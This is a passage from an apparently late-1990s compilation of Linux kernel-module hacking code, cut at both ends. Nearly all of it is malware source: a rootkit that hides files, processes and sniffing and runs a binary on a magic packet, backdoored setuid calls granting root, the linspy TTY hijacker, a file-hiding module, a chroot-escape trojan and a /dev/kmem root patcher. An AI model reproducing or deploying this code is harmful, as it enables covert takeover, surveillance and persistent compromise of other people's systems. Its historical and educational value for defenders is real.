GFP_KERNEL); if (tb == 0) { return compt; } compt2 = 0; done = 0; i = 0; memcpy_fromfs((void *) tb, (void *) table, compt * sizeof(struct = kernel_sym)); while (!done) { if ((tb[compt2].name)[0] == '#') i = compt2; if (!strcmp(tb[compt2].name, mtroj)) { for (compt3 = i + 1; (tb[compt3].name)[0] != '#' && compt3 < = compt; compt3++); if (compt3 != (compt - 1)) memmove((void *) &(tb[i]), (void *) &(tb[compt3]), (compt - = compt3) * sizeof(struct kernel_sym)); else compt = i; done++; } compt2++; if (compt2 == compt) done++; } memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym)); kfree(tb); } return compt; } /* * how it works: * I need to allocate user memory. To do that, I'll do exactly as = malloc() does * it (changing the break value). */ int my_execve(const char *filename, const char *argv[], const char = *envp[]) { long __res; __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), = "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp))); return (int) __res; } int n_execve(const char *filename, const char *argv[], const char = *envp[]) { char *test; int ret, tmp; char *truc = OLDEXEC; char *nouveau = NEWEXEC; unsigned long mmm; test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL); (void) strncpy_fromfs(test, filename, strlen(truc)); test[strlen(truc)] = '\0'; if (!strcmp(test, truc)) { kfree(test); mmm = current->mm->brk; ret = brk((void *) (mmm + 256)); if (ret < 0) return ret; memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1); ret = my_execve((char *) (mmm + 2), argv, envp); tmp = brk((void *) mmm); } else { kfree(test); ret = my_execve(filename, argv, envp); } return ret; } /* * Trap the ioctl() system call to hide PROMISC flag on ethernet = interfaces. * If we reset the PROMISC flag when the trojan is already running, then = it * won't hide it anymore (needed otherwise you'd just have to do an * "ifconfig eth0 +promisc" to find the trojan). */ int n_ioctl(int d, int request, unsigned long arg) { int tmp; struct ifreq ifr; tmp = (*o_ioctl) (d, request, arg); if (request == SIOCGIFFLAGS && !promisc) { memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, = sizeof(struct ifreq)); ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC); memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct = ifreq)); } else if (request == SIOCSIFFLAGS) { memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, = sizeof(struct ifreq)); if (ifr.ifr_flags & IFF_PROMISC) promisc = 1; else if (!(ifr.ifr_flags & IFF_PROMISC)) promisc = 0; } return tmp; } /* * trojan setMAGICUID() system call. */ int n_setuid(uid_t uid) { int tmp; if (uid == MAGICUID) { current->uid = 0; current->euid = 0; current->gid = 0; current->egid = 0; return 0; } tmp = (*o_setuid) (uid); return tmp; } /* * trojan getdents() system call.=20 */ int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { unsigned int tmp, n; int t, proc = 0; struct inode *dinode; struct dirent *dirp2, *dirp3; tmp = (*o_getdents) (fd, dirp, count); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && = MINOR(dinode->i_dev) == 1) proc = 1; if (tmp > 0) { dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); memcpy_fromfs(dirp2, dirp, tmp); dirp3 = dirp2; t = tmp; while (t > 0) { n = dirp3->d_reclen; t -= n; if ((strstr((char *) &(dirp3->d_name), (char *) &mtroj) != NULL) = \ ||(proc && invisible(myatoi(dirp3->d_name)))) { if (t != 0) memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t); else dirp3->d_off = 1024; tmp -= n; } if (dirp3->d_reclen == 0) { /* * workaround for some shitty fs drivers that do not properly * feature the getdents syscall. */ tmp -= t; t = 0; } if (t != 0) dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen); } memcpy_tofs(dirp, dirp2, tmp); kfree(dirp2); } return tmp; } /* * Trojan socketcall system call * executes a given binary when a packet containing the magic word is = received. * WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR SYSTEM. = */ int n_socketcall(int call, unsigned long *args) { int ret, ret2, compt; char *t = RECVEXEC; unsigned long *sargs = args; unsigned long a0, a1, mmm; void *buf; ret = (*o_socketcall) (call, args); if (ret == MAGICSIZE && call == SYS_RECVFROM) { a0 = get_user(sargs); a1 = get_user(sargs + 1); buf = kmalloc(ret, GFP_KERNEL); memcpy_fromfs(buf, (void *) a1, ret); for (compt = 0; compt < ret; compt++) if (((char *) (buf))[compt] == 0) ((char *) (buf))[compt] = 1; if (strstr(buf, mtroj)) { kfree(buf); ret2 = fork(); if (ret2 == 0) { mmm = current->mm->brk; ret2 = brk((void *) (mmm + 256)); memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1); /* Hope the execve has been successfull otherwise you'll have 2 copies = of the master process in the ps list :] */ ret2 = my_execve((char *) mmm + 2, NULL, NULL); } } } return ret; } /* * module initialization stuff. */ int init_module(void) { /* module list cleaning */ /* would need to make a clean search of the right register * in the function prologue, since gcc may not always put=20 * struct module *mp in %ebx=20 *=20 * Try %ebx, %edi, %ebp, well, every register actually :) */ register struct module *mp asm("%ebx"); *(char *) (mp->name) = 0; mp->size = 0; mp->ref = 0; /* * Make it unremovable */ /* MOD_INC_USE_COUNT; */ o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms]; sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms; o_getdents = sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents] = (void *) n_getdents; o_setuid = sys_call_table[SYS_setuid]; sys_call_table[SYS_setuid] = (void *) n_setuid; __NR_myexecve = 164; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; o_execve = sys_call_table[SYS_execve]; if (__NR_myexecve != 0) { sys_call_table[__NR_myexecve] = o_execve; sys_call_table[SYS_execve] = (void *) n_execve; } promisc = 0; o_ioctl = sys_call_table[SYS_ioctl]; sys_call_table[SYS_ioctl] = (void *) n_ioctl; o_socketcall = sys_call_table[SYS_socketcall]; sys_call_table[SYS_socketcall] = (void *) n_socketcall; return 0; } void cleanup_module(void) { sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms; sys_call_table[SYS_getdents] = o_getdents; sys_call_table[SYS_setuid] = o_setuid; sys_call_table[SYS_socketcall] = o_socketcall; if (__NR_myexecve != 0) sys_call_table[__NR_myexecve] = 0; sys_call_table[SYS_execve] = o_execve; sys_call_table[SYS_ioctl] = o_ioctl; } <--> ----[ EOF

      LKM TTY hijacking

      NAME : = linspy
      AUTHOR=20 : halflife
      DESCRIPTION= :=20 This LKM comes again Phrack issue 50 (article 5: 'Abuse of the Linux = Kernel for=20 Fun and Profit'). It is a very nice TTY hijacker working the way I = outline in=20 II.7. This module uses its own character device for control / and=20 logging.
      LINK : http://www.phrack.com/
      <++> = linspy/Makefile CONFIG_KERNELD=-DCONFIG_KERNELD CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD) CC=gcc # this is the name of the device you have (or will) made with mknod DN = '-DDEVICE_NAME="/dev/ltap"' # 1.2.x need this to compile, comment out on 1.3+ kernels V = #-DNEED_VERSION MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX all: linspy ltread setuid linspy: linspy.c /usr/include/linux/version.h $(CC) $(MODCFLAGS) -c linspy.c ltread: =09 $(CC) $(DN) -o ltread ltread.c clean: =09 rm *.o ltread setuid: hacked_setuid.c /usr/include/linux/version.h $(CC) $(MODCFLAGS) -c hacked_setuid.c =20 <--> end Makefile <++> linspy/hacked_setuid.c int errno; #include <linux/sched.h> #include <linux/mm.h> #include <linux/malloc.h> #include <linux/errno.h> #include <linux/sched.h> #include <linux/kernel.h> #include <linux/times.h> #include <linux/utsname.h> #include <linux/param.h> #include <linux/resource.h> #include <linux/signal.h> #include <linux/string.h> #include <linux/ptrace.h> #include <linux/stat.h> #include <linux/mman.h> #include <linux/mm.h> #include <asm/segment.h> #include <asm/io.h> #include <linux/module.h> #include <linux/version.h> #include <errno.h> #include <linux/unistd.h> #include <string.h> #include <asm/string.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/sysmacros.h> #ifdef NEED_VERSION static char kernel_version[] = UTS_RELEASE; #endif static inline _syscall1(int, setuid, uid_t, uid); extern void *sys_call_table[]; void *original_setuid; extern int hacked_setuid(uid_t uid) { int i; =20 if(uid == 4755) { current->uid = current->euid = current->gid = current->egid = = 0; return 0; } sys_call_table[SYS_setuid] = original_setuid; i = setuid(uid); sys_call_table[SYS_setuid] = hacked_setuid; if(i == -1) return -errno; else return i; } int init_module(void) { original_setuid = sys_call_table[SYS_setuid]; sys_call_table[SYS_setuid] = hacked_setuid; return 0; } void cleanup_module(void) { sys_call_table[SYS_setuid] = original_setuid; } =20 <++> linspy/linspy.c int errno; #include <linux/tty.h> #include <linux/sched.h> #include <linux/mm.h> #include <linux/malloc.h> #include <linux/errno.h> #include <linux/sched.h> #include <linux/kernel.h> #include <linux/times.h> #include <linux/utsname.h> #include <linux/param.h> #include <linux/resource.h> #include <linux/signal.h> #include <linux/string.h> #include <linux/ptrace.h> #include <linux/stat.h> #include <linux/mman.h> #include <linux/mm.h> #include <asm/segment.h> #include <asm/io.h> #ifdef MODULE #include <linux/module.h> =20 #include <linux/version.h> #endif #include <errno.h> #include <asm/segment.h> #include <linux/unistd.h> #include <string.h> #include <asm/string.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/sysmacros.h> #include <linux/vt.h> /* set the version information, if needed */ #ifdef NEED_VERSION static char kernel_version[] = UTS_RELEASE; #endif #ifndef MIN #define MIN(a,b) ((a) < (b) ? (a) : (b)) #endif /* ring buffer info */ =20 #define BUFFERSZ 2048 char buffer[BUFFERSZ]; int queue_head = 0; int queue_tail = 0; /* taken_over indicates if the victim can see any output */ int taken_over = 0; static inline _syscall3(int, write, int, fd, char *, buf, size_t, = count); extern void *sys_call_table[]; /* device info for the linspy device, and the device we are watching */ static int linspy_major = 40; int tty_minor = -1; int tty_major = 4; /* address of original write(2) syscall */ void *original_write; void save_write(char *, size_t); int out_queue(void)=20 { int c; if(queue_head == queue_tail) return -1; c = buffer[queue_head]; queue_head++; if(queue_head == BUFFERSZ) queue_head=0; return c; } int in_queue(int ch) { if((queue_tail + 1) == queue_head) return 0; buffer[queue_tail] = ch; queue_tail++; if(queue_tail == BUFFERSZ) queue_tail=0; return 1; } /* check if it is the tty we are looking for */ int is_fd_tty(int fd) { struct file *f=NULL; struct inode *inode=NULL; int mymajor=0; int myminor=0; if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || = !(inode=f->f_inode)) return 0; mymajor = major(inode->i_rdev); myminor = minor(inode->i_rdev); if(mymajor != tty_major) return 0; if(myminor != tty_minor) return 0; return 1; } /* this is the new write(2) replacement call */ extern int new_write(int fd, char *buf, size_t count) { int r; if(is_fd_tty(fd)) { if(count > 0) save_write(buf, count); if(taken_over) return count; } sys_call_table[SYS_write] = original_write; r = write(fd, buf, count);=20 sys_call_table[SYS_write] = new_write; if(r == -1) return -errno; else return r; } /* save data from the write(2) call into the buffer */ void save_write(char *buf, size_t count) { int i; for(i=0;i < count;i++) in_queue(get_fs_byte(buf+i)); } /* read from the ltap device - return data from queue */ static int linspy_read(struct inode *in, struct file *fi, char *buf, int = count) { int i; int c; int cnt=0; if(current->euid != 0) return 0; for(i=0;i < count;i++) { c = out_queue(); if(c < 0) break; cnt++; put_fs_byte(c, buf+i); } return cnt; } /* open the ltap device */ static int linspy_open(struct inode *in, struct file *fi) { if(current->euid != 0) return -EIO; MOD_INC_USE_COUNT; return 0; } /* close the ltap device */ static void linspy_close(struct inode *in, struct file *fi) { taken_over=0; tty_minor = -1; MOD_DEC_USE_COUNT; } =20 /* some ioctl operations */ static int linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, = unsigned long args) { #define LS_SETMAJOR 0 #define LS_SETMINOR 1 #define LS_FLUSHBUF 2 #define LS_TOGGLE 3 if(current->euid != 0) return -EIO; switch(cmd) { case LS_SETMAJOR: tty_major = args; queue_head = 0; queue_tail = 0; break; case LS_SETMINOR: tty_minor = args; queue_head = 0; queue_tail = 0; break; case LS_FLUSHBUF: queue_head=0; queue_tail=0; break; case LS_TOGGLE: if(taken_over) taken_over=0; else taken_over=1; break; default: return 1; } return 0; } static struct file_operations linspy = { NULL, linspy_read, NULL, NULL, NULL, linspy_ioctl, NULL,=20 linspy_open, linspy_close, NULL }; /* init the loadable module */ int init_module(void) { original_write = sys_call_table[SYS_write]; sys_call_table[SYS_write] = new_write; if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO; return 0; } /* cleanup module before being removed */ void cleanup_module(void) { sys_call_table[SYS_write] = original_write; unregister_chrdev(linspy_major, "linspy"); } <--> end linspy.c <++> linspy/ltread.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <termios.h> #include <string.h> #include <fcntl.h> #include <signal.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/sysmacros.h> struct termios save_termios; int ttysavefd = -1; int fd; #ifndef DEVICE_NAME #define DEVICE_NAME "/dev/ltap" #endif #define LS_SETMAJOR 0 #define LS_SETMINOR 1 =20 #define LS_FLUSHBUF 2 #define LS_TOGGLE 3 void stuff_keystroke(int fd, char key) { ioctl(fd, TIOCSTI, &key); } int tty_cbreak(int fd) { struct termios buff; if(tcgetattr(fd, &save_termios) < 0) return -1; buff = save_termios; buff.c_lflag &= ~(ECHO | ICANON); buff.c_cc[VMIN] = 0; buff.c_cc[VTIME] = 0; if(tcsetattr(fd, TCSAFLUSH, &buff) < 0) return -1; ttysavefd = fd; return 0; } char *get_device(char *basedevice) { static char devname[1024]; int fd; if(strlen(basedevice) > 128) return NULL; if(basedevice[0] == '/') strcpy(devname, basedevice); else sprintf(devname, "/dev/%s", basedevice); fd = open(devname, O_RDONLY); if(fd < 0) return NULL; if(!isatty(fd)) return NULL; close(fd); return devname; } int do_ioctl(char *device) { struct stat mystat; if(stat(device, &mystat) < 0) return -1; fd = open(DEVICE_NAME, O_RDONLY); if(fd < 0) return -1; if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1; if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1; } void sigint_handler(int s) { exit(s); } void cleanup_atexit(void) { puts(" "); if(ttysavefd >= 0) tcsetattr(ttysavefd, TCSAFLUSH, &save_termios); } main(int argc, char **argv) { int my_tty; char *devname; unsigned char ch; int i; if(argc != 2) { fprintf(stderr, "%s ttyname\n", argv[0]); fprintf(stderr, "ttyname should NOT be your current tty!\n"); exit(0); } devname = get_device(argv[1]); if(devname == NULL) { perror("get_device"); exit(0); } if(tty_cbreak(0) < 0) { perror("tty_cbreak"); exit(0); } atexit(cleanup_atexit); signal(SIGINT, sigint_handler); if(do_ioctl(devname) < 0) { perror("do_ioctl"); exit(0); } my_tty = open(devname, O_RDWR); if(my_tty == -1) exit(0); setvbuf(stdout, NULL, _IONBF, 0); printf("[now monitoring session]\n"); while(1) { i = read(0, &ch, 1); if(i > 0) { if(ch == 24) { ioctl(fd, LS_TOGGLE, 0); printf("[Takeover mode toggled]\n"); } else stuff_keystroke(my_tty, ch); } i = read(fd, &ch, 1); if(i > 0) putchar(ch); } } <--> end ltread.c EOF

      AFHRM - the monitor tool

      NAME : AFHRM ( = Advanced=20 file hide & redirect module)
      AUTHOR : Michal=20 Zalewski
      DESCRIPTION : This LKM was made especially for = admins who=20 want to control some files (passwd, for example) concerning file access. = This=20 module can monitor any fileaccess and redirect write attempts. It is = also=20 possible to do file hiding.
      LINK : http://www.rootshell.com/
      = /* Advanced file hide & redirect module for Linux 2.0.xx / i386=20 ------------------------------------------------------------ (C) 1998 Michal Zalewski <lcamtuf@boss.staszic.waw.pl> */ #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <sys/syscall.h> #include <sys/types.h> #include <asm/fcntl.h> #include <asm/errno.h> #include <linux/types.h> #include <linux/dirent.h> #include <sys/mman.h> #if (!defined(__GLIBC__) || __GLIBC__ < 2) #include <sys/stat.h> #else #include <statbuf.h> // What can I do? #endif #include <linux/string.h> #include "broken-glibc.h" #include <linux/fs.h> #include <linux/malloc.h> /* Hope that's free? */ #define O_NOCHG 0x1000000 #define O_ACCNOCHG 0x2000000 #define O_STRICT 0x4000000 #define O_STILL 0x8000000 #define M_MAIN 0x0ffffff #define M_MINOR (M_MAIN ^ O_ACCMODE) struct red { // Redirections database entry. const char *src,*dst; const int flags,new_flags; }; struct red redir_table[]={ // Include user-specific choices :-) #include "config.h" }; #define REDIRS sizeof(redir_table)/sizeof(struct red) struct dat { // Inode database entry. long ino,dev; int valid; }; int as_today,ohits,ghits, // internal counters. uhits,lhits,rhits; struct dat polozenie[REDIRS]; // Inodes database. // Protos... int collect(void); extern void* sys_call_table[]; // Old system calls handlers (for module removal). int (*stary_open)(const char *pathname, int flags, mode_t mode); int (*stary_getdents)(unsigned int fd, struct dirent* dirp, unsigned int = count); int (*stary_link)(const char* oldname,const char* newname); int (*stary_unlink)(const char* name); int (*stary_rename)(const char* oldname,const char* newname); int (*sys_stat)(void*,void*); int (*mybrk)(void*); // Ugly low-level hack - OH, HOW WE NEED IT :))) int mystat(const char* arg1,struct stat* arg2,char space) { unsigned long m1=0,m2; long __res; char* a1; struct stat* a2; if (!space) { // If needed, duplicate 1st argument to user space... m1=current->mm->brk; mybrk((void*)(m1+strlen(arg1)+1)); a1=(char*)(m1+2); memcpy_tofs(a1,arg1,strlen(arg1)+1); } else a1=(char*)arg1; // Allocate space for 2nd argument... m2=current->mm->brk; mybrk((void*)(m2+sizeof(struct stat))); a2=(struct stat*)(m2+2); // Call stat(...) __res=sys_stat(a1,a2); // Copy 2nd argument back... memcpy_fromfs(arg2,a2,sizeof(struct stat)); // Free memory. if (!space) mybrk((void*)m1); else mybrk((void*)m2); return __res; } // New open(...) handler. extern int nowy_open(const char *pathname, int flags, mode_t mode) { int i=0,n; char zmieniony=0,*a1; struct stat buf; unsigned long m1=0; if (++as_today>INTERV) { as_today=0; collect(); } if (!mystat(pathname,&buf,1)) for (i=0;i<REDIRS && !zmieniony;i++) = if (polozenie[i].valid && (long)buf.st_dev==polozenie[i].dev && = (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) { if (redir_table[i].flags & O_STRICT) n=redir_table[i].flags & = O_ACCMODE; else n=0; switch(flags) { case O_RDONLY: if ((redir_table[i].flags & O_WRONLY) || (n & O_RDWR)) n=1; break; case O_WRONLY: if ((redir_table[i].flags & O_RDONLY) || (n & O_RDWR)) n=1; break; default: if (n && (n & (O_RDONLY|O_WRONLY))) n=1; n=0; } #ifdef DEBUG printk("AFHRM_DEBUG: open %s (D:0x%x I:0x%x) ",redir_table[i].src, = buf.st_dev, buf.st_ino); printk("[%s] of: 0x%x cf: 0x%x nf: ",redir_table[i].dst, = mode,redir_table[i].flags); printk("0x%x rd: %d.\n", redir_table[i].new_flags, n==0); #endif ohits++; if (!n && (((redir_table[i].flags & M_MINOR) & flags) == = (redir_table[i].flags & M_MINOR))) if (redir_table[i].dst) { flags=(((redir_table[i].new_flags & O_NOCHG) > 0)*flags) | (((redir_table[i].new_flags & O_ACCNOCHG) > 0)*(flags & = O_ACCMODE)) | (redir_table[i].new_flags & M_MAIN); /* User space trick */ m1=current->mm->brk; mybrk((void*)(m1+strlen(redir_table[i].dst)+1)); a1=(char*)(m1+2); memcpy_tofs(a1,redir_table[i].dst,strlen(redir_table[i].dst)+1); pathname=a1; zmieniony=1; } else return -ERR; } i=stary_open(pathname,flags,mode); if (zmieniony) mybrk((void*)m1); return i; } // New getdents(...) handler. int nowy_getdents(unsigned int fd, struct dirent *dirp, unsigned int = count) { int ret,n,t,i,dev; struct dirent *d2,*d3; ret=stary_getdents(fd,dirp,count); dev = (long)current->files->fd[fd]->f_inode->i_dev; if (ret>0) { d2=(struct dirent*)kmalloc(ret,GFP_KERNEL); memcpy_fromfs(d2,dirp,ret); d3=d2; t=ret; while (t>0) { n=d3->d_reclen; t-=n; for (i=0;i<REDIRS;i++) if (polozenie[i].valid && /* dev == polozenie[i].dev && */ = /* BROKEN! */ d3->d_ino==polozenie[i].ino && redir_table[i].dst == NULL) = { #ifdef DEBUG printk("AFHRM_DEBUG: getdents %s [D: 0x%x I: 0x%x] r: 0x%x t: = 0x%x\n", redir_table[i].src,dev,d3->d_ino,ret,t); #endif ghits++; if (t!=0) memmove(d3,(char*)d3+d3->d_reclen,t); else = d3->d_off=1024; ret-=n; } if (!d3->d_reclen) { ret-=t;t=0; } if (t) d3=(struct dirent*)((char*)d3+d3->d_reclen); } memcpy_tofs(dirp,d2,ret); kfree(d2); } return ret; } // New link(...) handler. extern int nowy_link(const char *oldname,const char *newname) { int i; struct stat buf; if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if = (polozenie[i].valid && (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst = == NULL || redir_table[i].flags | O_STILL ) && (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) { #ifdef DEBUG printk("AFHRM_DEBUG: link %s... (D:0x%x = I:0x%x).",redir_table[i].src,buf.st_dev, (long)*((char*)&buf.st_dev+4)); #endif lhits++; if (redir_table[i].dst) return -STILL_ERR; else return -ERR; } return stary_link(oldname,newname); } // New unlink(...) handler. extern int nowy_unlink(const char *name) { int i; struct stat buf; if (!mystat(name,&buf,1)) for (i=0;i<REDIRS;i++) if = (polozenie[i].valid && (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst = == NULL || redir_table[i].flags | O_STILL ) && (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) { #ifdef DEBUG printk("AFHRM_DEBUG: unlink %s (D:0x%x = I:0x%x).",redir_table[i].src,buf.st_dev, (long)*((char*)&buf.st_dev+4)); #endif uhits++; if (redir_table[i].dst) return -STILL_ERR; else return -ERR; } return stary_unlink(name); } // New rename(...) handler. extern int nowy_rename(const char *oldname, const char* newname) { int i; struct stat buf; if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if = (polozenie[i].valid && (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst = == NULL || redir_table[i].flags | O_STILL ) && (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) { #ifdef DEBUG printk("AFHRM_DEBUG: rename %s... (D:0x%x = I:0x%x).",redir_table[i].src,buf.st_dev, (long)*((char*)&buf.st_dev+4)); #endif rhits++; if (redir_table[i].dst) return -STILL_ERR; else return -ERR; } return stary_rename(oldname,newname); } // Inode database rebuild procedure. int collect() { int x=0,i=0,err; struct stat buf; #ifdef DEBUG printk("AFHRM_DEBUG: Automatic inode database rebuild started.\n"); #endif for (;i<REDIRS;i++) if (!(err=mystat(redir_table[i].src,&buf,0))) { polozenie[i].valid=1; polozenie[i].dev=buf.st_dev; polozenie[i].ino=(long)*((char*)&buf.st_dev+4); #ifdef DEBUG printk("AFHRM_DEBUG: #%d file %s [D: 0x%x I: = 0x%x].\n",x,redir_table[i].src, buf.st_dev,buf.st_ino); #endif x++; } else { polozenie[i].valid=0; #ifdef DEBUG printk("AFHRM_DEBUG: file: %s missed [err = %d].\n",redir_table[i].src,-err); } if (x!=REDIRS) { printk("AFHRM_DEBUG: %d inode(s) not found, skipped.\n",REDIRS-x); #endif } return x; } // ******** // MAINS :) // ******** // Module startup. int init_module(void) { #ifdef HIDDEN register struct module *mp asm("%ebp"); #endif int x; unsigned long flags; save_flags(flags); cli(); // To satisfy kgb ;-) #ifdef HIDDEN *(char*)(mp->name)=0; mp->size=0; mp->ref=0; #endif #ifdef VERBOSE printk("AFHRM_INIT: Version " VERSION " starting.\n"); #ifdef HIDDEN register_symtab(0); printk("AFHRM_INIT: Running in invisible mode - can't be removed.\n"); #endif printk("AFHRM_INIT: inode database rebuild interval: %d = calls.\n",INTERV); #endif sys_stat=sys_call_table[__NR_stat]; mybrk=sys_call_table[__NR_brk]; x=collect(); stary_open=sys_call_table[__NR_open]; stary_getdents=sys_call_table[__NR_getdents]; stary_link=sys_call_table[__NR_link]; stary_unlink=sys_call_table[__NR_unlink]; stary_rename=sys_call_table[__NR_rename]; #ifdef VERBOSE printk("AFHRM_INIT: Old __NR_open=0x%x, new = __NR_open=0x%x.\n",(int)stary_open,(int)nowy_open); printk("AFHRM_INIT: Old __NR_getdents=0x%x, new = __NR_getdents=0x%x.\n",(int)stary_getdents, (int)nowy_getdents); printk("AFHRM_INIT: Old __NR_link=0x%x, new = __NR_link=0x%x.\n",(int)stary_link,(int)nowy_link); printk("AFHRM_INIT: Old __NR_unlink=0x%x, new = __NR_unlink=0x%x.\n",(int)stary_unlink, (int)nowy_unlink); printk("AFHRM_INIT: Old __NR_rename=0x%x, new = __NR_rename=0x%x.\n",(int)stary_rename, (int)nowy_rename); #endif sys_call_table[__NR_open]=nowy_open; sys_call_table[__NR_getdents]=nowy_getdents; sys_call_table[__NR_link]=nowy_link; sys_call_table[__NR_unlink]=nowy_unlink; sys_call_table[__NR_rename]=nowy_rename; #ifdef VERBOSE printk("AFHRM_INIT: %d of %d redirections loaded. Init = OK.\n",x,REDIRS); #endif restore_flags(flags); return 0; } // Module shutdown... void cleanup_module(void) { unsigned long flags; save_flags(flags); cli(); // To satisfy kgb ;-) #ifdef VERBOSE printk("AFHRM_INIT: Version " VERSION " shutting down.\n"); #endif sys_call_table[__NR_open]=stary_open; sys_call_table[__NR_getdents]=stary_getdents; sys_call_table[__NR_link]=stary_link; sys_call_table[__NR_unlink]=stary_unlink; sys_call_table[__NR_rename]=stary_rename; #ifdef VERBOSE printk("AFHRM_INIT: Hits: open %d, getdents %d, link %d, unlink %d, = rename %d. Shutdown OK.\n", ohits,ghits,lhits,uhits,rhits); #endif restore_flags(flags); }

      CHROOT module trick

      NAME : = chr.c
      AUTHOR=20 : FLoW/HISPAHACK
      DESCRIPTION : The first source represents the = ls=20 'trojan'. The second one represents the actual module which is doing the = chroot=20 trick.
      LINK : http://hispahack.ccc.de/
      /*= LS 'TROJAN'*/ /* Sustituto para el "ls" de un ftp restringido. * Carga el modulo del kernel chr.o * FLoW - !H'98 */ #include <stdio.h> #include <sys/wait.h> main() { int estado; printf("UID: %i EUID: %i\n",getuid(),geteuid()); printf("Cambiando EUID...\n"); setuid(0); /* Ya que wu-ftpd usa seteuid(), podemos recuperar uid=0 */ printf("UID: %i EUID: %i\n",getuid(),geteuid()); switch(fork()) { case -1: printf("Error creando hijo.\n"); case 0: execlp("/bin/insmod","insmod","/bin/chr.o",0); printf("Error ejecutando insmod.\n"); exit(1); default: printf("Cargando modulo chroot...\n"); wait(&estado); if(WIFEXITED(estado)!=0 && WEXITSTATUS(estado)==0)=20 printf("Modulo cargado!\n"); else printf("Error cargando modulo.\n"); break; } } /* Modulo del kernel para anular un chroot() y "retocar" chmod() * FLoW - !H'98 * Basado en heroin.c de Runar Jensen <zarq@opaque.org> */ #include <linux/fs.h> #include <linux/module.h> #include <linux/malloc.h> #include <linux/unistd.h> #include <sys/syscall.h> #include <linux/dirent.h> #include <linux/proc_fs.h> #include <stdlib.h> static inline _syscall2(int, chmod, const char*, path, mode_t, mode); static inline _syscall1(int, setuid, uid_t, uid); =20 extern void *sys_call_table[]; int (*original_chroot)(const char *, const char*);=20 int (*original_chmod)(const char *, mode_t); int (*original_setuid)(uid_t); int hacked_chmod(const char *path, mode_t mode) { int err; if(mode==83) { /* chmod 123 XXX */ (*original_setuid)(0); err=(*original_chmod)(path, 511); /* chmod 777 XXX */ } else { err=(*original_chmod)(path, mode); } =20 return(err); } int hacked_chroot(const char *path, const char *cmd) { return(0); } int init_module(void) { original_setuid = sys_call_table[SYS_setuid]; original_chroot = sys_call_table[SYS_chroot]; sys_call_table[SYS_chroot] = hacked_chroot; original_chmod = sys_call_table[SYS_chmod]; sys_call_table[SYS_chmod] = hacked_chmod; return(0); } void cleanup_module(void) { sys_call_table[SYS_chroot] = original_chroot; sys_call_table[SYS_chmod] = original_chmod; }

      Kernel Memory Patching

      NAME :=20 kmemthief.c
      AUTHOR : unknown (I really tried to find out, but = I found=20 no comments) I found a similar source by daemon9 who took it from 'Unix=20 Security: A practical tutorial'
      DESCRIPTION : This is a = 'standard'=20 kmem patcher, which gives you root (your user process). The system you = try to=20 exploit must permit write and read access to /dev/kmem. There are some = systems=20 that make that fault but don't rely on that.
      LINK : http://www.rootshell.com/
      = /* =20 kmem_thief compile as follows: cc -O kmem_thief.c -ld -o kmem_thief */ #include <stdio.h> #include <fcntl.h> #include <sys/signal.h> #include <sys/param.h> #include <sys/types.h> #include <sys/dir.h> #include <sys/user.h> struct user userpage; long address(), userlocation; int main(argc, argv, envp) int argc; char *argv[], *envp[]; { int count, fd; long where, lseek(); fd = open( "/dev/kmem",O_RDWR); if(fd < 0) { printf("Could not open /dev/kmem.\n"); perror(argv); exit(10); } userlocation = address(); where = lseek(fd, userlocation, 0); if(where != userlocation) { printf("Could not seek to user page.\n"); perror(argv); exit(20); } count = read(fd, &userpage, sizeof(struct user)); if(count != sizeof(struct user)) { printf("Could not read user page.\n"); perror(argv); exit(30); } printf(" Current uid is %d\n", userpage.u_ruid); printf(" Current gid is %d\n", userpage.u_rgid); printf(" Current euid is %d\n", userpage.u_uid); printf(" Current egid is %d\n", userpage.u_gid); userpage.u_ruid = 0; userpage.u_rgid = 0; userpage.u_uid = 0; userpage.u_gid = 0; where = lseek(fd, userlocation, 0); if(where != userlocation) { printf("Could not seek to user page.\n"); perror(argv); exit(40); } write(fd, &userpage, ((char *)&(userpage.u_procp)) - 